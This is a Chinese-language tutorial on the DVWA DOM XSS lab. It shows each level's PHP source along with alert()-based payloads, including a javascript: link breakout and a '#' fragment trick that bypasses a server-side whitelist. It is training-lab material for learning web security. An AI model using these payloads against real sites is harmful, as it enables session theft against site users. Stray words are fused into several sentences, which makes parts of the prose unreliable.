XSS-DOM

DOM型XSS是基於DOM文檔對象模型的一種漏洞javascript

經過 HTML DOM,樹中的全部節點都可經過 JavaScript 進行訪問。全部 HTML 元素(節點)都可被修改,也能夠建立或刪除節點。(引用W3C)php

由於能夠在DOM樹中植入js代碼,所以形成了XSS-DOM漏洞,因此DOM類型的XSS多是反射型也多是儲存型前端

 

Lowjava

<?php

# No protections, anything goes

?> 

沒有PHP代碼,直接看前端服務器

構造payloadxss

?default=<script>alert('xss')</script

成功執行ide

 

Medium函數

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

stripos函數 找查字符在字符串中第一次出現的位置測試

若是$default 出現<script,則默認?default=English編碼

咱們能夠用採用JavaScript僞協議

?default=</option></select><a href="javascript:alert('xss')">test</a>

 

High

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

switch語句選出了對應的結果(白名單),其餘的字符默認爲English

payload :

?default=English #<script>alert(/xss/)</script>

 由於在URL欄中#以後的字符不會提交到服務器,就實現繞過白名單

 

Impossible

<?php

# Don't need to do anything, protction handled on the client side

?> 

不須要作任何事情,在客戶端處理保護

測試輸入 <script>alert('xss')</script>

被解釋URL編碼,從而防止js代碼執行

相關文章
相關標籤/搜索